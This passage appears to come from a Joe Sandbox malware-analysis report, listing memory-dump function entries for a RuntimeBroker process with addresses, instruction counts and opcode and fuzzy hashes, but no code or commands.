Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8825813460ae2fe77fe90a51c27122194a52e2f7c79e7fc9334efabee18bc62
Instruction ID: 13dad60a9647576e7483b6f570934bf94f61289001445424d4b8716fce3b6d50
Opcode Fuzzy Hash: c8825813460ae2fe77fe90a51c27122194a52e2f7c79e7fc9334efabee18bc62
Instruction Fuzzy Hash: A611BF71B19A0CCFD798DF58D8AA6B9B7E1FF9A310B00426ED14ED72A1CB216801CB40

Function 00007FFD347DC209 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c447e872b42848675eb68bd6cbc209abbeedc72a593bb6c6d7961f9d8f22ffe6
Instruction ID: 66a9b9f2a865a197ad6028dfa1d9d7ba24fac26c3ce1ebe8d6fef8094f3ddd36
Opcode Fuzzy Hash: c447e872b42848675eb68bd6cbc209abbeedc72a593bb6c6d7961f9d8f22ffe6
Instruction Fuzzy Hash: A2116D91F6F1C3CEEB655AE416F11B87A406F47610F1802B6DA8EC61C2CC4C394972D2

Function 00007FFD347D2D2E Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 404d0028d1b4e919c34f243cfaa70c3a9822bc2a496e549ecf55c68d3ab99f06
Instruction ID: b98d1fc6951d0fc28c1a57a3d550c068b73e16d6c54176091e63ea417abdd3e1
Opcode Fuzzy Hash: 404d0028d1b4e919c34f243cfaa70c3a9822bc2a496e549ecf55c68d3ab99f06
Instruction Fuzzy Hash: BE116B3134964D8FE705CE68E8A86E97B91FB56315F14027FDA4AC31E1CB68A526C7C0

Function 00007FFD347D2399 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e995e72b96e508a42f37ea3151c0c3ca00267a1373f7702d166c0e7a65f99708
Instruction ID: be79bcf6bd41a460d51aa6eb57fb7f9d733520212b927c81fd273e3bb6698c05
Opcode Fuzzy Hash: e995e72b96e508a42f37ea3151c0c3ca00267a1373f7702d166c0e7a65f99708
Instruction Fuzzy Hash: 3001D671B499488FDB45EBA8A8A16EC77A0FF4A311F45017ED14DE72C3CA2968028780

Function 00007FFD3454608A Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3530811333.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34540000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaaae207bb12e42fbd277566c15f15ccb5125e041acc1f8d6d9066884291506a
Instruction ID: 47621d3431635f1c20d348858c58c027181a025c3d68fba3c5aae33b44d85838
Opcode Fuzzy Hash: aaaae207bb12e42fbd277566c15f15ccb5125e041acc1f8d6d9066884291506a
Instruction Fuzzy Hash: 191142B1A099494FDFDCEB48C4B5E60B7E1FB59304B0441BAD15DE7292CD3968899B01

Function 00007FFD343E0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7edb03e22994360e141e2f834e2a56849c75503850f835ca00ed74b6a8d5a8c5
Instruction ID: 71633ac4c7688aee68c77d964617aacd735d19f0551b20aea7672a14208685e2
Opcode Fuzzy Hash: 7edb03e22994360e141e2f834e2a56849c75503850f835ca00ed74b6a8d5a8c5
Instruction Fuzzy Hash: 3B11C232A0E7988FE702EB78D8A42DE7FB0EF43310F1944B7C280DB192D53816898780

Function 00007FFD349098FE Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3537780170.00007FFD34900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34900000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b32c651c7235a8ba7ff19824b40471a64066826e37a020ca0b6ca0571fcca6c8
Instruction ID: c74b7c826accf1a1e135716a2edfbc988ced41af3271bd54738915de1d26286e
Opcode Fuzzy Hash: b32c651c7235a8ba7ff19824b40471a64066826e37a020ca0b6ca0571fcca6c8
Instruction Fuzzy Hash: 60015B34B1D5068FE31C8708849177973D5FB86704F70423DD54BC628ADA3CB9426D55

Function 00007FFD343E0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa88565d334715e60adce184a27fcc1296be9004259e452469743d690529a750
Instruction ID: 9b26fb760e8ece7771a2b95fe5cc28d312cacfc8ae7bc242b13dd73dc54dd2f1
Opcode Fuzzy Hash: aa88565d334715e60adce184a27fcc1296be9004259e452469743d690529a750
Instruction Fuzzy Hash: BF016136A0E7988FE702EB6898A41DE7FB0EF43314F1945E6C680DB192D53856899781

Function 00007FFD343E5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2d5dfb5c16a610bad244d69bcc03052962ac035d5815781a7d058aa8efec79
Instruction ID: fe96c8fc097785a950fe6c19bcb675f5063115ce9d80eaccddae1558944e8ce1
Opcode Fuzzy Hash: ad2d5dfb5c16a610bad244d69bcc03052962ac035d5815781a7d058aa8efec79
Instruction Fuzzy Hash: 44012522E5D92D4AEBA4B75884B57BA6190AF46300F5401B5D90DE32D2DD3C6D816740

Function 00007FFD347D14BB Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f3ebd9f8bb8f71b768571a6bcede2e6f85233d046bf5cce07648781cbca48b
Instruction ID: 9ae5b5c09b0a6f52e9872d559389bd1c043008667c5c0023fb0213eb66c568cc
Opcode Fuzzy Hash: f2f3ebd9f8bb8f71b768571a6bcede2e6f85233d046bf5cce07648781cbca48b
Instruction Fuzzy Hash: DF01E87190895C8FCF98EB58C8A4BE877B4EB99315F1401AAD40DE7291DA35AAC5CB80

Function 00007FFD347D7D80 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a854abd170012c4be46b62017c2fd2bbbfee7c092fb3d6b3799fcadb98572f4b
Instruction ID: 8a14d041f78da8356232ef54f41838234caa6c875b0f08a44350a97c69d3e620
Opcode Fuzzy Hash: a854abd170012c4be46b62017c2fd2bbbfee7c092fb3d6b3799fcadb98572f4b
Instruction Fuzzy Hash: BD017D3130D2868FC706CB28D9B16E57B80EF43314F1406BED945CB2C2C659A515C7C0

Function 00007FFD347D14BA Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbca5fb98b1b08883692abd2903c8e5a4fc101091b78e50d8de322db2f1e8400
Instruction ID: 40f492f163122d7c5c87bd42ca6ee3fde3e91e8445b6b546fe267d5bf2a448f8
Opcode Fuzzy Hash: bbca5fb98b1b08883692abd2903c8e5a4fc101091b78e50d8de322db2f1e8400
Instruction Fuzzy Hash: 1301EC7190895CCFCF98EF58C8A4BE877B0EB59315F1401A9D40DE7291DA35AAC5CB80

Function 00007FFD343E171D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61904a8d67c1a144fbc8af5c398f45c147b78ed9ee95dec9934e2cf91871fac4
Instruction ID: 5167e7d99683a8dd349c3c1fdba04ff9f8800a0c6c039a92384512e376f11267
Opcode Fuzzy Hash: 61904a8d67c1a144fbc8af5c398f45c147b78ed9ee95dec9934e2cf91871fac4
Instruction Fuzzy Hash: 8EF0C823F4D41A4BEB54F648C4A56FD7391EB90710F094676D40EC72D5DE2CAD8293C0

Function 00007FFD343E5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: db96a83b2404d05d4156c18e8f9d65d10326253ad1d7700575b52856a397d9af
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 21016D31A9D51E8AEBA4BA44D8A5BF973A0EF15300F5400B9D90ED31A2EE3C2DC25A41

Function 00007FFD343E0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29c50fa9d688aa280f0ed051006b6d5c8c81f1ea4558d6d1634d8a88d54206b
Instruction ID: 734d2c5e21db0d8c14baac1b955bb65203b8da64f1ccef26ce2d9e41e6ff3127
Opcode Fuzzy Hash: e29c50fa9d688aa280f0ed051006b6d5c8c81f1ea4558d6d1634d8a88d54206b
Instruction Fuzzy Hash: FB019E32A0E3888FD702EB68C8941DEBFB0EF03314F1945EAC180DB292D5385A88C781

Function 00007FFD347D1532 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48a2293e31f07e81d6644c326eabd9ed17423f6c475c5dd6dcfd0d20221c4be1
Instruction ID: 4b9945470c2d17cf450a0b0a321dce52d4cfac2b76c4b6df7a764a00e2690e64
Opcode Fuzzy Hash: 48a2293e31f07e81d6644c326eabd9ed17423f6c475c5dd6dcfd0d20221c4be1
Instruction Fuzzy Hash: 6EF0967185E3C5AFD7029B7088625E57FB8EF43314F1500F6E086C70A2C56C661AD762

Function 00007FFD347D721F Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f2808f1064981b03ee5d6d6762b9bb85ad75f336e9899f397a69f247890601b
Instruction ID: e8627ccce8d21ebbe654f98d6dd79159bd015539f090f22bc7bb5a7a148d0485
Opcode Fuzzy Hash: 6f2808f1064981b03ee5d6d6762b9bb85ad75f336e9899f397a69f247890601b
Instruction Fuzzy Hash: 77F0E972B09E9C8FD755D95844552EDB7E1FF9A300F04063BD54EE7281CE68780957C1

Function 00007FFD343F42CD Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec201fbe1e43aba32797752d7a2903c086bb9a06b76eee36951d30661a2fb99f
Instruction ID: 59287e685f18a436c266831516c5fb5da4a28fa878bd067b978e0e4f4a7b465f
Opcode Fuzzy Hash: ec201fbe1e43aba32797752d7a2903c086bb9a06b76eee36951d30661a2fb99f
Instruction Fuzzy Hash: 4DF03172F4851E8BEB58EA48D8A58BD73A1FF65311B00063AC51AD7394DF7869019740

Function 00007FFD347D10D7 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2cf5b5bfd51d6e5e718420f7da6b1775b840cbc5386533d02587769c5c0238
Instruction ID: 1c0654b7abe67dd6543ddf69ff7d380e07d7d53c8e9893cad2613f78eec2e8af
Opcode Fuzzy Hash: ef2cf5b5bfd51d6e5e718420f7da6b1775b840cbc5386533d02587769c5c0238
Instruction Fuzzy Hash: 7D01B6B0A1885DCFCB99FF48C4A1BA8B7F1FB59700F1401A9D10EE3291CA35A981DF90

Function 00007FFD343E0C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063bab0e2a4b436208131f171173a2f94cc48cc607a8cef7041587e6a3d050be
Instruction ID: 04d2dfb04c82a57575cbe4a77b6c7bbfcfc77b03587cd4fd9ee23f37aab8fc9f
Opcode Fuzzy Hash: 063bab0e2a4b436208131f171173a2f94cc48cc607a8cef7041587e6a3d050be
Instruction Fuzzy Hash: A601A231A0E3888FE712EB7484941DEBFF0EF07304F1845E6C580DB292D9385A88C741

Function 00007FFD347D2D08 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a90974b8b5ed1f7bb618ed271b43469fb67a758d86f9b73ed6b04c68363c0ada
Instruction ID: c67d2cb53225999a0988733fa1fb0cdc652bdabec83a2348f8ef862300558061
Opcode Fuzzy Hash: a90974b8b5ed1f7bb618ed271b43469fb67a758d86f9b73ed6b04c68363c0ada
Instruction Fuzzy Hash: BAF0BEA4B2F54ACAF72A8A20A4B52F97A01AF03300F34053ACA4FC34D2CA1D710B73D1

Function 00007FFD34909A69 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3537780170.00007FFD34900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34900000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b59306492b06861c7c3b656fabe86d527c0c4b44fb6d7dc8f521f4666b1e0c
Instruction ID: 825780abf128024ef6fdb87f8ef9c233c63d5439708aeb4052d55e9e52ab1386
Opcode Fuzzy Hash: 35b59306492b06861c7c3b656fabe86d527c0c4b44fb6d7dc8f521f4666b1e0c
Instruction Fuzzy Hash: 80F05E307085058FE318DA08C8A07A67396FBD5311F708239D14AC36EADA3CFD429A80

Function 00007FFD347D749C Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce0c18526d642e50efbd4f3c4ff3d2ea2e3a8c6d4374ff27d6b42098e3da21e
Instruction ID: de609fef09af6081bc02418966e1594812dbd48253b1a2cf3ea515647ad0ecdb
Opcode Fuzzy Hash: 3ce0c18526d642e50efbd4f3c4ff3d2ea2e3a8c6d4374ff27d6b42098e3da21e
Instruction Fuzzy Hash: 59F0A0D2B2A98646E7BA652C10B62F93680EF93340B48007AE24DDB2D6DC0C780662C1

Function 00007FFD347D25FB Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab63e53c6cd9056922887595f37dc1d8f3c3462fc2cc341c9cc5fe4247973e21
Instruction ID: 4257d56ad522f9b28695d7807f61d3c1d718cafc22643a468bb9d13dc464f8a5
Opcode Fuzzy Hash: ab63e53c6cd9056922887595f37dc1d8f3c3462fc2cc341c9cc5fe4247973e21
Instruction Fuzzy Hash: FEE06D51F3EA07DAF76920281DF107C21829F87650F240535DB0BC6AC9EC4C795B32D2

Function 00007FFD343F5518 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction ID: fc2ab7d9bf95787595b1c91682d8ddb825d25d9d90c73509376798f757b15e4e
Opcode Fuzzy Hash: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction Fuzzy Hash: 92D05E30B6090D4B8B4CA62D8458430F3D1E7AA6067945278D44BC3285ED29ECC6CB80

Function 00007FFD343E4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: 5e955548f11ab2433f2e569a67abea519a43871091a6218b221e418b01c7639a
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: E5E01232F4911A86FB98B548C8E13EA6264EF45304F180078DB5ED33C1DD3CAEC09605

Function 00007FFD343F5A01 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b53b216302019b691b53068446fe4c351e9a901c622123c4aff91fe1b924c7e
Instruction ID: 81fcc9d12416cf7c9a750116ba6875d7221e505fb91360ef9b4a881c011d4281
Opcode Fuzzy Hash: 4b53b216302019b691b53068446fe4c351e9a901c622123c4aff91fe1b924c7e
Instruction Fuzzy Hash: 0BE0CD20A1E6410FC709777C58655B43BD0DF57215F9544FAD049CB1B3D95DD848C342

Function 00007FFD343F3E00 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD343F5568 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 967185c70a2bc06f9d71807151e92370ab4e9ade6a36d5020ca375d73c1663c1
Instruction ID: be3a019fae2af0df484b2722ce36aa720d58d5e54151f8e41193f9e9c0141b11
Opcode Fuzzy Hash: 967185c70a2bc06f9d71807151e92370ab4e9ade6a36d5020ca375d73c1663c1
Instruction Fuzzy Hash: BDD0C930B609084F8B4CE72C889D97072D1EB6A21679540A9D40AC72A5E96AD899DB41

Function 00007FFD347D2227 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b419b68e175a82473d99e072050c443c16a8dca3b425e8859935c11117325595
Instruction ID: 6347a708894a44ffb2b815d0fb0bf0d108a2fe096c0c44ace1f3fd308616531b
Opcode Fuzzy Hash: b419b68e175a82473d99e072050c443c16a8dca3b425e8859935c11117325595
Instruction Fuzzy Hash: DDD05B91F1F385CBE716057408B21742A509F7B34071606FAE64AC92D7D95D390B6362

Function 00007FFD347DBBAE Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ae1e51c880a1e76fedeb9b3411013d12e1d07fcaa016c2bed6651261395508
Instruction ID: cccfdf718e224e0c762bae1e1b727789a4f6f5b6b8376da978649535b9fb5df9
Opcode Fuzzy Hash: 91ae1e51c880a1e76fedeb9b3411013d12e1d07fcaa016c2bed6651261395508
Instruction Fuzzy Hash: D9D05E91B2E4468AE7A8E66805B237475D6EF8A740F1400B9E54EC72C7CE1E7C4862C6

Function 00007FFD343F4BD7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction ID: 30467b28f6ab174d6e10ce265b78421e0221f6634e2660cae8327e017053eeee
Opcode Fuzzy Hash: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction Fuzzy Hash: 86D01722B9C91B4AF645FA089CE0A7A22A1AF75300F100074D64EC3186CE3CA812A601

Function 00007FFD347DBB9E Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94bbcbc19efe6719c6c0cc383f2d4d89a3dd7de3906a77fcb19be742caa07891
Instruction ID: eeb122c0f6ffdf705574cb6baffaf9a2d952b0ec2078a000793c0ec60faff8c0
Opcode Fuzzy Hash: 94bbcbc19efe6719c6c0cc383f2d4d89a3dd7de3906a77fcb19be742caa07891
Instruction Fuzzy Hash: 27D0A73010D445CFD7C5DB14C194C2133A0EF1A3403250090E10BC71B1CA28ED05EBA0

Function 00007FFD343E06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: d8a034d3eadd56306136040cc71971a4a2c566673f2357e922dbad6dd1579167
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 3EC08C03FCB56B80B841316E24E20EFA1208BC6320FDC0032D30CD20919C3D20C62156

Function 00007FFD343E12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: 4b764aa09d87ae252aaea70fa7dbb2e1cf0f5a670bde5e25e0268d4432d86b4d
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: EFC08C305518098FC948FB28C88480433A0FB0A210BC60090E009C7270D229DCC0D740

Function 00007FFD347D7D5B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f104c97747dfa0be6682d7cafb803721c77a285653e36eaee2bb5089e45fd32e
Instruction ID: 6c1e7f21bbef58ad4cb362fecbdbd7b707ee3e848c17034dc090492d7cc1d7b5
